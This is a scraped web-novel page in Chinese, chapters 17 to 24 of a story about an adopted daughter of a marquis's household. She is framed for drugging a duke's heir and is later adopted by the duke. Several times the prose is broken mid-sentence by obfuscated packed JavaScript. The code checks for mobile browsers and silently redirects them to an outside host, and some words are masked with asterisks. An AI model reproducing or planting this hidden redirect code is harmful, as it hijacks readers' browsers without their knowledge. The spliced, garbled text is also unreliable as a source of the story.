0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497761|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要给烈国公世子下药。”温如霜叹了一口气。 钱氏端着茶杯的手一顿,不明白她为什么要把这个黑锅揽到自己女儿身上去。 “前些日子,她知道她不是我亲生的骨肉后,就一直担心我们不要她。先是闹上了京兆府,今日又想攀高枝……”温如霜掏出帕子抹眼泪。 她决意舍弃晏逐星后,就要把这事说出来。 “什么?她不是你亲生的?当时不是说双生子么。”钱氏一惊,没想到会听到这样的秘闻。 “明月一出生就被接生婆给调换了,后来夫君外出偶遇,才找回了她。但当时我们已经养了星儿十年,也舍不得将她送走。毕竟孩子是无辜的呀。”温如霜颠倒黑白。 这套说辞说了那么多年,她自己都要信以为真了。 钱氏脸上的错愕愈发明显。 “但没想到,明月找回来之后,她竟然处处针对明月。上回我忍不住将她身世真相说出来,结果呢,她非但不感恩,还恨上了我们。”温如霜眼泪扑簌簌地往下落。 一旁的晏明月也低声抽泣了起来。 母女二人眼眶通红,看起来可怜极了。 “唉,真是辛苦妹妹你了。这么多年,竟然养了个白眼狼。”钱氏一边安慰她,一边思索着她说这番话的用意。 温如霜之所以这么说,多半是想要舍弃养女保全亲生女儿。 她心知肚明,事情在自家发生,药也是女儿准备的,此事他们脱不开干系。 但如果有人能背上这个黑锅,女儿便可全身而退。 见她眉眼中有所松动,温如霜开口提醒:“今日之事,她那性子定然不会善罢甘休,若我们不提前昭告天下,恐怕咱们两家的声誉都会受损啊。” 钱氏也意识到了晏逐星的性子绝对不是好相与的。 寻常姑娘,哪敢告到京兆府去。 就在她犹豫不决要不要合作时,丫鬟匆匆跑了进来,凑到她身旁低声耳语。 下一瞬,温如霜便瞧见她脸色大变。 第18章 就说……我要** “引世子爷过去的丫鬟尸身找到了,就在水井底下。” 钱氏听完丫鬟的汇报,一瞬间就下定了决心。 一定要把黑锅扣在晏逐星身上。 这事只能是她做的。 毕竟一个尚未及笄就敢**抛尸的女子,绝对不是什么善茬,他们要先下手为强,将她按到尘埃里去,让她再也无法和他们作对。 “那妹妹此番前来,是想让我怎么做?”钱氏直接把事情挑开了说。 温如霜客客气气道:“我会让儿子押着那个逆女去烈国公府给国公爷和夫人负荆请罪。还请夫人替我们从中牵线搭桥,且不要将此事怪罪到明月身上。” 钱氏点点头,表示明白了。 她看向了晏明月:“那云霏那边?” “云霏姐姐什么都不知道,她只是同情我被姐姐欺负,替我说了几句公道话罢了。姐姐却因此记恨上她,还说日后嫁到烈国公府,成了她的长辈,定然会让她好看。”晏明月按照母亲教的话,说了出来。 钱氏满意地点了点头。 她的云霏已经在相看人家,名声万不能受损。 温如霜这个养母出面,再加上晏明月这个妹妹作证,以及他们一家和烈国公府那边通过气后,就可以把晏逐星说成一个下作胚子。 待这盆脏水泼瓷实了,他们便是遭了祸害的可怜人。 唯有晏逐星一个恶人。 …… 晏逐星回到院子便清点起自己的东西。 她重重拍桌,厉声质问道:“皇后娘娘赏赐的那只金钗怎的不见了?” 她今日带双鲤出门做客本就是局,为的就是用这个借口把屋子里所有的下人都换了。 “搜,掘地三尺也要将本小姐的金钗找出来。若是找不出来,你们全都不用留下了。”晏逐星示意双鲤动手搜查。 满屋奴婢霎时跪成一片,连连求饶。 “奴婢当真不知,求小姐开恩啊!” 就在晏逐星如火如荼搜查金钗下落时,温如霜领着晏明月和晏明修来了玉澜院。 “晏逐星,你好大的威风!真把自己当侯府大小姐了?”瞧见满院子跪下的丫鬟,晏明修忍不住拿话刺她。 自打上回被打之后,他就厌恶极了这个妹妹。 连装都不装了。 晏逐星眉头微皱,这几人来者不善啊。 看着他们身后跟着带刀的护卫,晏逐星的心沉了沉。 她压低声音吩咐身旁慌张的双鲤:“待会趁他们不注意,去京兆府找裴大人,他若不来,便去找永安王。就说……我要**。” 她不确定永安王所谓的报恩,是不是今天就用完了。 还是先去找裴明镜为妙。 果不其然,和她猜测的一样,温如霜一开口就是污蔑。 “星儿,你太让我们失望了,你怎么能做出那样下作的事情,竟然给烈国公世子下药!” 晏明修冷笑一声:“娘,你和她说那么多做什么。不是从您肚子里爬出来的,喂多少参汤也灌不出人样。还是赶紧将她捆了送到国公府请罪去吧。” 一旁的下人们听到这话,忍不住交头接耳了起来。 什么叫不是从夫人肚子里爬出来的。 莫非大小姐并非夫人的亲生孩子? 晏逐星警惕地盯着他们。 温如霜往日里说起她的身份都是屏退了旁人的,如今竟然光明正大的挑开了说,想必是要将她作为弃子,送去顶罪了。 她快言快语反驳道:“就因为我不是亲生的,所以你们要将晏明月这个亲女儿做的龌龊事情盖到我头上,还在这假惺惺地装什么好人!” “你胡说,明月才不会干这样的事情。”晏明修第一时间站出来维护亲妹妹。 晏明月脸色煞白,又气又急,跺脚催促道:“捂了她的嘴,将她送去烈国公府!” 母亲和哥哥跟晏逐星废话什么,就该一来就堵住她的嘴,怎么还能让她胡言乱语呢。 这下好了,这些贱婢该怀疑她了。 晏明月脸涨得通红。 “拿下她!”晏明修一个眼神,护卫们便冲晏逐星冲了过来。 晏逐星意识到他们要彻底撕破脸,撒腿就跑。 温如霜决不会允许她活蹦乱跳地去国公府请罪,一定会把她打个半死,让她说不出话来,认下那个罪名。 她不能坐以待毙。 “愣着干嘛,抓住她呀!”温如霜快气**。 晏逐星身手灵活,她不打,只跑,那几个护卫想要圈住她,却让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497762|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找到了空隙钻了出去。 玉澜院一阵鸡飞狗跳。 双鲤趁着主子们不注意,悄悄溜出了玉澜院。 晏逐星知道跑不掉,蹭一下爬上了院子外那棵大树上,在场的人齐齐傻眼了。 他们没见过哪家侯府千金会爬树的。 “晏逐星,你给我下来!”温如霜气得脸色铁青。 “不下,我要下去,你会让人打死我的。你们连下药的事情都能栽赃给我,还有什么事情做不出来!”晏逐星坚决不下去。 她好不容易养好了一点身体,要是再被打一顿,那可就前功尽弃了。 温如霜有些懊恼,早知道就先诓骗晏逐星出府,按住她之后打一顿,让她老实了再说。 反正只要坐实了她给烈国公府世子下药的罪名,皇后娘娘定然不会再召她入宫。 她还不是任由自己捏圆搓扁。 温如霜勃然大怒道:“拿梯子来,必须将这孽女拿下!” 下人搬来梯子爬上树,想要将晏逐星扯下去。 晏逐星抓紧树枝,抬腿蹬向最先攀上来的护卫,那人被她的鹿皮靴底踏中肩头,哐当脱手摔了下去。 而后还有人要上树,晏逐星便捡起枝头的积雪往下砸,下人们哎哟哎哟的叫着,不敢轻易靠近。 温如霜气得浑身发颤,齿缝间迸出森然冷意:“拿斧子来,将这树给我砍了!” 她就不信,她治不了一个小丫头。 下人拿来斧子,两个壮汉抡起斧头就往树干上劈,树身剧烈摇晃,树皮碎块夹杂着积雪簌簌往下掉。 晏逐星赶紧抱住晃动的树枝,这树的主干比水桶还粗一倍,此刻竟被斧头劈得直颤。 她暗暗着急,后颈渗出冷汗。 她如今的身手比不得前世,若就这样摔下去,肯定会受重伤。 再加上底下的护卫虎视眈眈,她恐怕在劫难逃了。 温如霜的眉头渐渐舒展开来,晏明修和晏明月的表情也逐渐幸灾乐祸。 晏逐星只能在心底暗暗祈祷双鲤快点把救兵搬来。 若是不来,她只能看准时机往下跳,然后挟持晏明月了。 双方僵持中,院外忽然传来了一个懒洋洋的声音。 “哟,这侯府可真热闹呀。” 第19章 他来不比裴明镜更让她放心? 众人齐齐看了过去,发现是定远侯回来了,还带了一个人。 先前说热闹的正是此人。 “还不赶紧见过永安王。”定远侯开口催促。 温如霜等人一惊,永安王怎么来了。 他们赶忙行礼:“见过永安王。” 树上的晏逐星看到谢翊宁,下意识地就寻找双鲤的身影,结果没看到人。 她忍不住皱起了眉头。 怎么永安王来了,双鲤却不见了? 不会是出什么事了吧。 “这又在闹什么。”定远侯面色阴沉地看着他们。 他才被皇上训斥了治家无方,如今又让永安王撞到了后宅乱糟糟的场景,还不知道明日皇上会怎么训斥他呢。 温如霜不知道为何永安王会忽然出现在侯府。 但事已至此,她不得不把谎话继续说下去:“今日去威宁侯府做客,星儿她一时糊涂给烈国公府世子下了药,我想让她去国公府请罪,她却不愿意。” 定远侯听到这话,下意识地看了谢翊宁一眼。 这等丑事竟然让永安王听到了。 他顿时气不打一处来,呵斥晏逐星的声音愈发凌厉:“逆女!你竟然如此胆大妄为!还不赶紧滚下来。” 晏逐星还没来得及反驳,就看到双鲤急匆匆地领着裴明镜走了过来。 见晏逐星站在十几尺高的树上,双鲤吓得脸色煞白。 她张口,声音都带着颤抖:“小姐,你,你可千万不要做傻事啊。我把裴大人请来了,裴大人一定会为您主持公道的。” 定远侯一家子听到这话,脸色都跟腌过三秋的咸菜似的,十分难看。 裴明镜怎么也又来了。 一个永安王就够难缠的了,再来一个裴明镜,今日这个脸真是丢大了。 裴明镜先看了树上的晏逐星一眼,方才开口:“见过定远侯,见过永安王。” 看到自己搬的救兵来了,晏逐星悬着的心落回了原处。 裴明镜和永安王都在,温如霜没法要她的命了。 双鲤带着裴明镜,那就说明永安王不是她找来的。 那为什么永安王来得那么快呢? 谢翊宁一直用眼角余光注视着她。 见她瞧见裴明镜后露出了放松的表情,心里莫名有些不满。 怎么,他来不比裴明镜更让她放心? “不知裴大人今日前来,所为何事?”定远侯挤出笑脸看向裴明镜。 裴明镜拱拱手道:“本官接到这丫鬟的报案,说贵府大小姐性命垂危,让本官来瞧瞧。职责所在,还望侯爷谅解。” 定远侯一家看向双鲤的眼神好似淬了毒一般,这吃里扒外的丫鬟,竟然敢将事情闹到京兆府。 双鲤吓了一跳,低着头躲到了裴明镜身后。 定远侯按下心底的烦躁,开口道:“裴大人,此乃家务事,就不劳烦您了。这丫鬟不懂事,待会我就好好教训她。” “侯夫人先前说了,我不是她的女儿,这算什么家务事。”晏逐星朗声开口。 这话一出,一片哗然。 晏逐星借着还没挪开的梯子回到了地上,双鲤赶忙跑到了她身边,替她掸去身上的残雪。 裴明镜若有所思地盯着她。 晏逐星先前在树上就酝酿了好一会儿情绪,走到裴明镜面前时,她的眼眶早已红透,眼泪在眼眶里打着转转,看起来可怜极了。 “请裴大人替我做主!”晏逐星跪在地上,将温如霜母女冤枉她的来龙去脉说了一遍。 温如霜大喊:“冤枉啊。裴大人,您切莫相信她的一面之词。是她得知自己并非我和侯爷的亲生骨肉,害怕被我们赶出侯府,所以才做了这样的错事。” 双方各执一词,裴明镜没有马上下定论。 “您若不信,大可以派人去威宁侯府询问。只不过事情牵涉到侯府还有烈国公府,还请裴大人低调行事。”温如霜豁出去了。 反正她已经和威宁侯夫人商量好了,他们那边的下人也会出来作证。 晏逐星要闹,那她就是自寻死路。 听到温如霜这话,晏逐星便意识到她应该是和威宁侯府串通好了。 她的心沉到了谷底。 “本官知晓了。”裴明镜点了点头。 “查证需要时间,明日我会再次登门拜访。届时还需要夫人和大小姐为本官答疑解惑。” “好。”温如霜底气十足。 一夜的时间,足够做很多事情了。 裴明镜离开后,定远侯抬脚想要踹地上的晏逐星,却被谢 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永安王这哪里是命人来找玉坠,分明是故意让人来护着这野丫头。 晏逐星这个**,到底怎么勾搭上永安王的! 谢翊宁走后不久,永安王府便送来了一个叫衔蝉的丫鬟。 温如霜知道今夜不能对晏逐星动手了,只得悻悻地带着下人离开。 定远侯将温如霜叫回寝屋中,冷着脸道:“你说实话,到底是怎么一回事?不是说好的不要将她身份抖露出来么。” 温如霜咬定了这事就是晏逐星做的。 上回的事情已经让侯爷对明月不满了,若是知道这事是她闹出来的,肯定要罚她了。 反正晏逐星是个养不熟的白眼狼,还不如一不做二不休,趁着这个机会将她除去。 定远侯听完,脸上闪过一抹狠厉:“既是如此,那你便将事情处理好,莫要让裴明镜又抓住什么错处。” “嗯,这次绝对不会有问题。”温如霜重重点头。 她已经安排好后招了。 这一次,她势在必得,一定要让晏逐星承认错误。 从此以后,只能在她面前摇尾乞怜。 第20章 顺水推舟,定下两家的婚事吧 “今天威宁侯老夫人寿宴上的事你们听说了吗?” “什么事?” “定远侯府的大小姐给烈国公世子下了那种药,她想要勾引世子爷。” “天呐,世子爷都能当她爹了吧,还是个傻的,图什么呀。” “这你就不知道了吧,这位大小姐是假的,小时候家里人将她和真千金调包了。她害怕被赶走,去过穷苦日子,可不得拼命想办法留下。” 这种香闺秘闻,最容易传开。 再加上温如霜安排的人从中推波助澜,不过一夜之间,几乎全京城的人都知道了“侯府假千金给国公府世子下**”的事情。 就连东市卖炊饼的老汉都能说上两句。 那绘声绘色的形容,仿佛他当时就在现场。 很快,这消息就传到了烈国公府。 烈国公夫妇面对面坐着,表情凝重。 威宁侯府昨日已经派人知会过他们,说先前是他们弄错了,害人的不是晏明月,而是晏逐星。 不久后定远侯夫人会带着她上门请罪。 如今人没来请罪,这种流言反倒满天飞。 联想到前些日子晏逐星告上京兆府的事情,其中的弯弯绕绕,他们一眼便看穿了。 “夫人,咱们当真要为难一个无辜的小姑娘?”烈国公面色阴沉。 “夫君把我当成什么人了。”赵玉润抿着唇有些不高兴。 她又不是傻子,光听娘家人一面之词。 昨日她已经拷问过儿子身旁伺候的两个小厮,都说没见过晏逐星,是赵云霏的丫鬟将人引走的。 而且永安王也说了,此事最该感谢的是晏逐星,她保全了两家的体面。 他们怎么能恩将仇报呢。 “那夫人打算怎么做?”烈国公松了一口气。 赵玉润说出了自己的打算:“要不咱们就顺水推舟,定下两家的婚事吧。” “这不合适吧?”烈国公大吃一惊,“那丫头和咱们闺女差不多大,你这……” “你先听我说完。”赵玉润打断了他。 “我觉得定远侯夫妇似乎不待见那丫头,与其让她在定远侯府里受苦,倒不如让她嫁过来,日后咱们拿她当闺女对待。等过个两年,从族里过继一个孩子到她膝下,认她当娘亲。” “待到咱们百年之后,她和孩子也能照顾好敦儿。若日后敦儿不在了,也有人给他上香。” 烈国公听到夫人这话,也有些意动:“若今日定远侯府来人,咱们便探探那丫头的口风,若是她不愿,就算了。” “好。”赵玉润点点头,和夫君达成了一致。 两人神情放松下来,下人却满头大汗地跑了进来,语气急切:“国公爷,夫人,世子醒了,吵着闹着要妹妹。” “好端端的,敦儿怎么会又喊着要妹妹呢。”赵玉润眼眶顿时红了。 诞下女儿后,一直是儿子陪伴在侧,兄妹两人感情极好。 去年女儿忽然逝世,她足足花了半年的时间,才让儿子接受了妹妹不在了的事情。 怎么去了一趟威宁侯府回来,他又把这事给想起来了。 “别急,咱们先看看去。”烈国公握住了夫人的手,牵着她去找儿子。 夫妻俩一进屋子,就看到儿子一脚踹飞绣花枕头,把整床锦被都扯到地上乱踩。 他像小狗打滚似的瘫在地上,两条腿把青砖地蹬得咚咚响,鼻涕眼泪糊了满脸。 “要妹妹!敦儿现在就要妹妹!” 一旁伺候的两个丫鬟拽他胳膊拽得满脸通红,却没法把他拉起来。 “尉迟敦!你这样子,成何体统!还不赶紧给我坐好。”烈国公沉下脸教训儿子。 听到父亲的声音,尉迟敦有些害怕,他“咕噜”一下坐直了身子,随后爬起来走到了母亲身边。 “娘亲,我要妹妹。” 赵玉润掏出帕子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497764|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,温柔地替他擦掉眼泪。 “娘亲不是说过吗,妹妹不在了,去天上了,变成星星夜夜陪伴着你呢。” “娘亲骗人,我昨日才见过妹妹!”尉迟敦噘着嘴就要哭。 但看到烈国公瞪成铜铃般的眼睛,又扁扁嘴,将眼泪收了回去。 赵玉润横了夫君一眼,继续温柔询问儿子:“你是不是把云霏他们当成妹妹啦?” “不是。”尉迟敦重重摇头,他脑海里模模糊糊闪过了晏逐星的脸。 “**,妹妹!” “就是妹妹!我要妹妹!” 尉迟敦越说越急,抓着母亲的手加重了力道,眼泪又掉了下来。 “不哭不哭。”赵玉润疼得皱起了眉头。 烈国公瞧见这一幕,赶忙拍掉儿子的手,心疼地给老妻揉了揉。 赵玉润灵光一闪:“昨日敦儿见过的女眷,除了威宁侯府的,好像就只剩定远侯府的大小姐了!你说,他是不是把人家当成晞儿了?” “你别说,还真有可能。”烈国公点了点头。 “呜呜呜,要妹妹。”一旁的尉迟敦见爹娘不理自己,扯着嗓子又哭了起来。 “不许哭,再哭就不让你见妹妹。你可是哥哥,当哥哥的整日哭哭啼啼像什么话。”烈国公嗓门比他更大。 他这一吼,尉迟敦便老实了,委屈巴巴地看着老父亲。 他不哭出声了,只是默默流眼泪,让人看得更难受了。 烈国公到底还是心疼儿子,他看向夫人:“要不,咱们现在派人去把人请来吧。省得敦儿一直哭闹个不停。” “好。”赵玉润自然不会反对。 她也想知道,为什么儿子会把只有一面之缘的晏逐星认成了妹妹。 很快,烈国公府的管家便驾着马车去定远侯府接人了。 得知国公府来人,温如霜一惊。 难不成是她放出的流言,惹恼了烈国公一家? 第21章 试探 温如霜一颗心七上八下,接见了国公府来的人。 “小的见过定远侯夫人。不知贵府大小姐可在?国公爷和夫人想见她。” 听到这话温如霜眉头微皱,面露迟疑。 如果单独让晏逐星去见烈国公一家,她肯定会乱说话。 可如今有永安王的人在一旁护着,她又不好下手。 再加上晏逐星院子里有小厨房,她不吃大厨房的东西,她连下药让她闭嘴的机会都找不到。 一时间,温如霜进退两难。 国公府的管家看出了她面色的不对劲,试探道:“大小姐可是出了什么事?” 温如霜反过来试探他:“不知国公爷和夫人为何想见小女?” 管家回答滴水不漏:“主子的想法,我们这些做下人的怎么会知道。只不过临行前,国公爷下了死令,今日必须要见到贵府大小姐。” 话都说到这份上了,温如霜自然不能阻拦。 她命贴身丫鬟芰荷领着数十个仆从去玉澜院传话。 看到他们这么大的阵仗,双鲤第一时间张开双臂挡在了晏逐星面前。 “你们想做什么?裴大人今日可还要来问话,还有永安王府上的姐姐也在呢,你们休想伤害小姐!” 没想到芰荷压根不在乎她的威胁,轻轻一抬手,那十个人全都冲了过来。 晏逐星后退半步,温如霜还不死心么,竟然又来。 她下意识地防备。 没想到,那些人没对她动手,而是直冲双鲤而去。 捉住了双鲤,反剪她的双手,将她按倒在地。 芰荷微微一笑:“大小姐,夫人让我给您带句话,您若想保住这丫头的命,去了国公府,该说什么不该说什么,您可得想清楚了。” 晏逐星咬紧牙关,眸色陡然变冷。 原来,他们一开始就是冲着双鲤来的。 他们不敢动她,但一个丫鬟,随便找个借口就可以把她弄**。 心底杀意翻腾,晏逐星一字一句道:“若我回来之后,没看到完好无损的双鲤,定远侯府任何一个人,我都不会放过。” 听到这话,双鲤眼泪“歘”地落了下来。 她哽咽着想说话,却一个字都说不出来。 “大小姐,请吧。”芰荷做了个手势。 “去国公府,我自然要梳洗打扮一番,急什么。”晏逐星冷冷回应,脑海里飞速闪过昨日的画面。 永安王既然是站在她这边的,他带走了尉迟敦,肯定会跟国公夫人解释清楚,错不在她。 那么今日国公府要她过门一叙,未必是问罪。 昨日永安王将衔蝉送来后,她跟衔蝉打听了不少关于国公府的事情。 方才知晓尉迟敦有个妹妹叫尉迟晞,去年坠湖淹**。 尉迟敦或许是把她当成了尉迟晞。 她灵机一动,找了一件和昨天做客时穿的颜色相仿的衣裳,又叫半棠进来给她梳了昨日一样的发髻。 随后,她翻出一张一百两的银票塞到了半棠手里。 “小姐,奴婢惶恐。”半棠露出了惊恐的表情,赶忙跪在地上双手将银票举起交还给晏逐星,仿佛接到了什么烫手山芋。 “你帮我办一件事。办好了,这银票就归你。事成之后,等我从国公府回来,我会再给你一百两银票。”晏逐星面容平静,将她搀扶起来。 半棠看着手里的银票,艰难地咽了咽口水。 她一个月的月银不过二两银子。 前后加起来二百两,抵得上她干十几年的月银了。 有了这些银子,爹爹的腿能治了,兄长也能娶亲了。 “我的时间不多,你考虑好了吗?”晏逐星再次开口。 半棠看着那张银票,咬牙决定赌一把:“奴婢愿为大小姐效力!” 晏逐星冲她招了招手,示意她附耳过来。 她低声耳语几句后,半棠脸色变化莫测。 “大小姐,劳烦您快些,国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497765|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公府的人还等着呢。”门外的芰荷催促道。 晏逐星扫了半棠一眼,补上了最后一句话。 “你若拿了我的银钱不办事,茉儿的下场,就是你的下场。” 半棠瞳孔猝然收缩,齿间将下唇咬出一道血痕。 茉儿的死,对定远侯府的下人来说都是一个噩梦。 头身分离,最后卷了个草席被抛入乱葬岗。 她忽然觉得手里的银票有些烫手。 晏逐星说完便推门而出,跟着芰荷去了会客厅。 温如霜冲芰荷使了个眼神,芰荷微微颔首,温如霜便明白事情办妥了。 她露出一副慈爱的表情:“星儿,国公爷和夫人想见你,你随母亲去一趟吧。” 晏逐星默不作声地点了点头,和她一块上了马车。 很快就抵达了国公府。 一见到烈国公夫妇,温如霜就开始道歉,不给晏逐星开口的机会。 她用帕子擦了擦泛红的眼尾:“这孽障昨日竟敢给世子下药,当真是罪该万死。可这也事出有因。她知晓自己非侯府血脉后,害怕被赶走,这才生出了这样腌臜的念头。” “她做错了事,本该任凭二位处置。但我心里不落忍啊。她虽然非我亲生,却也在我膝下养了十几年。还望国公爷和夫人,给她一个改过自新的机会。” 她这番话说得好听,黑锅全扣在了晏逐星身上,又表露了一番自己的慈母心肠。 不明真相的人,大概都会觉得她真是为晏逐星操碎了心。 烈国公和夫人赵玉润对视一眼,随后看向了晏逐星。 赵玉润开口道:“孩子,你可有话要对我们说?” 温如霜的心沉了沉。 威宁侯那边不是说已经和国公府这边通过气了么,怎的他们不按说好的来,在她道歉后直接惩罚晏逐星,反倒对晏逐星这般和颜悦色? 迎着烈国公夫妇的目光,晏逐星点了点头。 “有。” 第23章 一切都和她的计划背道而驰 “国公爷抬爱,原不该推辞,只是晚辈觉得此事有些不妥。” 听到这话,烈国公有些意外,他还以为晏逐星会答应呢。 他有些惋惜,忍不住道:“你要不要再考虑几天?” 晏逐星摇了摇头。 “世子将我认成了妹妹,只是个意外,只要找到了原因,或许可以对症下药。” 她并非独一无二,不可取代的。 如果哪天尉迟敦把别人当做妹妹,她又该如何在国公府自处。 就像晏明月回家后,她在侯府就没了立足之地。 靠人人会跑,靠山山会倒。 如今,她只相信自己。 烈国公也跟着摇了摇头:“府里有和晞儿年岁相仿的丫鬟,但敦儿从未把别人认成妹妹。你是唯一一个。” 晏逐星提议道:“要不换上差不多的衣裳试试看?” 烈国公同意了。 他在府中找到了几个身高年龄和晏逐星差不多的丫鬟,又让他们换上了尉迟晞从前的衣裳,梳了一样的发髻,随后把尉迟敦叫了过来。 没想到,尉迟敦看都不看旁人一眼,直奔晏逐星而去。 他委屈巴巴地开口:“妹妹!你怎么不找我!” 烈国公和晏逐星对视一眼,都有些惊讶。 烈国公想了想,指着另一个丫鬟道:“敦儿,你认错人了,那个才是你妹妹。” 尉迟敦眯着眼眸打量了一下那个丫鬟,在她和晏逐星之间来回扫视。 最后还是坚定地扯了扯晏逐星的袖子:“爹爹骗人,这才是妹妹。” 试探了几回,晏逐星也换了衣裳,可尉迟敦就是认准了她。 几回下来,晏逐星心底有了一个猜测。 将丫鬟遣散后,晏逐星斟酌着开口:“我最近在补身子,日日都要喝上一大碗滋补的药膳。听闻尉迟小姐之前也是如此,会不会是我身上的药味让世子觉得很熟悉?” 烈国公露出一副恍然大悟的表情。 “言之有理。” 他老来得女,女儿身子骨比普通姑娘孱弱,因而常年喝补药,身上总是带着若有似无的药味。 而面前的小姑娘也是如此。 晏逐星提醒道:“既是如此,还请国公爷多多防范,省得旁人利用这事钻了空子,坑害了世子,那可就不妙了。” 烈国公听到这话,心下一凛。 是呀,万一有人扮做女儿的模样,引得敦儿认错人,犯下大错可就不妙了。 “丫头,多谢你的提醒。”烈国公想到这个场景,背后不由冒出了冷汗。 他看向晏逐星的眼神愈发满意了。 这么聪明又善良的小姑娘,不能给他当儿媳妇真是太可惜了。 想了想,他忍不住道:“虽然你不愿给我当儿媳妇,但敦儿这般喜欢你这个妹妹,要不你考虑考虑,给我当女儿?从此以后,你可以名正言顺地喊敦儿哥哥,你可愿意?” 晏逐星一愣,觉得这个提议倒是不错。 给烈国公夫妇当义女,可比当儿媳妇好多了。 等到认亲宴那日,那些说她下药勾引尉迟敦的谣言就会不攻自破了。 晏逐星勾起唇角,冲他屈膝行了个标准的武将礼:“能给您当闺女,我做梦都会笑醒,自然是一万个愿意的。” 听到这话,烈国公哈哈一笑,拍了拍她的肩膀。 “好,我就喜欢你这个性子。待我同夫人商议商议,找个良辰吉日,正式将你认作义女。” …… 屋内。 温如霜如坐针毡,心里烦躁不安。 烈国公夫人一直和她说些有的没的,丝毫不提晏逐星下药一事,她摸不准他们到底是个什么意思,连喝到嘴里的茶都变得没有滋味了。 迟迟没看到晏逐星受罚,瞧见烈国公领着晏逐星走了进来,她起身开口道:“时辰不早了,我该带着这丫头回府了。” “行。那明日我再命人接你到府上来。”烈国公回头嘱咐晏逐星。 晏逐星点了点头。 她先前答应了烈国公,每日到府上陪尉迟敦玩一个时辰。 温如霜看着两人的表情,一肚子的疑惑。 烈国公这态度,不对劲啊。 “那世子下药一事……”她忍不住问了出来。 烈国公摆了摆手:“此事误会一场,就此作罢,我们不会再追究了。” 温如霜怔愣在原地。 她万万没想到,戏台已经搭好,却有人罢演了。 但她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497767|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又不敢对烈国公多说什么,只得勉强一笑:“星儿,还不快快道谢。要不是国公爷宽宏大量,你怕是要下大狱。” “多谢国公爷,多谢夫人。”晏逐星真心实意地道谢。 “客气什么,反正咱们马上就要成为一家人了。”烈国公摆摆手,爽朗一笑。 “一家人?”温如霜惊得声音都拔高了。 “是,敦儿与她投缘,我和夫人有意将她收为义女。”烈国公把自己的决定说了出来,还当着温如霜的面给了晏逐星一块象征着烈国公府身份的玉佩。 温如霜如遭雷击。 她还想利用这事将晏逐星彻底按死,谁曾想,她竟然得了烈国公夫妇的青睐。 一切都和她的计划背道而驰。 接下来,她该如何跟晏逐星相处。 走出国公府的时候,温如霜还是恍惚的。 上了马车,她忍不住开口询问:“你使了什么法子,竟然哄得国公爷收你当义女?” “国公爷同情我爹不疼娘不爱呗。”晏逐星面无表情地回答。 “你……”温如霜被她噎得说不出话来。 他们如今势同水火,晏逐星怎么可能跟她说实话。 她悻悻地闭上了嘴。 晏逐星掀开车帘往外看了一眼,也不知道半棠有没有把她交代的事情办妥。 马车不疾不徐地往侯府走去。 忽然,街上响起了一阵尖叫声,当中还夹杂着犬吠。 “救命啊——” 温如霜蹙眉,掀起半边车帘,想看看发生了什么。 一个披头散发的鹅黄衫女子在前边狂奔,一只大黄狗在后边对她穷追不舍,一人一狗直愣愣朝他们的马车冲了过来。 温如霜吓得脸色骤变。 车夫拽着缰绳的手青筋暴起,怒喝道:“闪开!快闪开!” 然而还是晚了。 马儿受了惊吓,前蹄腾空而起。 伴随着马儿的嘶鸣声,马车猛地向**斜。 温如霜后脑勺重重磕在雕花车壁上,天旋地转间听见“咔啦”的木轴断裂声。 车帘被整个掀飞,她察觉到身后有一双手推了她一把。 旋即,她整个人像断了线的纸鸢一般滚落在青石板上。 第24章 噩耗突如其来,他们没有半点准备 晏逐星早有准备,因而没有受惊。 她从马车里跟着扑了出来,佯装不受控制地推开了车夫,翻滚两圈落到地上。 温如霜跌倒在地后尚未缓过神来,就听到了跟在车旁的丫鬟划破天际的尖叫:“夫人当心!” 